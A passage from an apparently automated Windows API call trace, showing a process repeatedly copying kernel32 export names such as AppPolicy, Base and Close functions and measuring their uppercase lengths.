returned 31 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0130.407] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0130.407] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0130.408] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0130.408] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0130.408] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0130.408] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0130.408] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0130.408] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0130.408] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0130.408] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0130.408] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0130.408] lstrlenA (lpString="BACKUPREAD") returned 10 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0130.408] lstrlenA (lpString="BACKUPSEEK") returned 10 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0130.408] lstrlenA (lpString="BACKUPWRITE") returned 11 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0130.408] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0130.408] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0130.408] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0130.408] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0130.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0130.409] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0130.409] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0130.409] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0130.409] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0130.409] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0130.409] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0130.409] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0130.409] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0130.409] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0130.409] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0130.409] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0130.409] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0130.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0130.410] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0130.410] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0130.410] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0130.410] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0130.410] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0130.410] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0130.410] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0130.410] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0130.410] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0130.410] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0130.410] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0130.410] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0130.410] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0130.410] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0130.410] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0130.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0130.410] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0130.411] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0130.411] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0130.411] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0130.411] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0130.411] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0130.411] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0130.411] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0130.411] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0130.411] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0130.411] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0130.411] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0130.411] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0130.411] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0130.411] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0130.411] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0130.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0130.411] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0130.412] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0130.412] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0130.412] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0130.412] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0130.412] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0130.412] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0130.412] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0130.412] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0130.412] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0130.412] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0130.412] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0130.412] lstrlenA (lpString="BEEP") returned 4 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0130.412] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0130.412] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0130.412] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0130.412] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0130.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0130.413] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0130.413] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0130.413] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0130.413] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0130.413] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0130.413] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0130.413] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0130.413] lstrlenA (lpString="CANCELIO") returned 8 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0130.413] lstrlenA (lpString="CANCELIOEX") returned 10 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0130.413] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0130.413] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0130.413] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0130.413] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0130.413] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0130.413] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0130.413] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0130.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0130.414] lstrlenA (lpString="CHECKELEVATION") returned 14 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0130.414] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0130.414] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0130.414] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0130.414] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0130.414] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0130.414] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0130.414] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0130.414] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0130.414] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0130.414] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0130.414] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0130.414] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0130.414] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0130.414] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0130.414] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0130.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0130.415] lstrlenA (lpString="CLOSESTATE") returned 10 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0130.415] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0130.415] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0130.415] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0130.415] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: 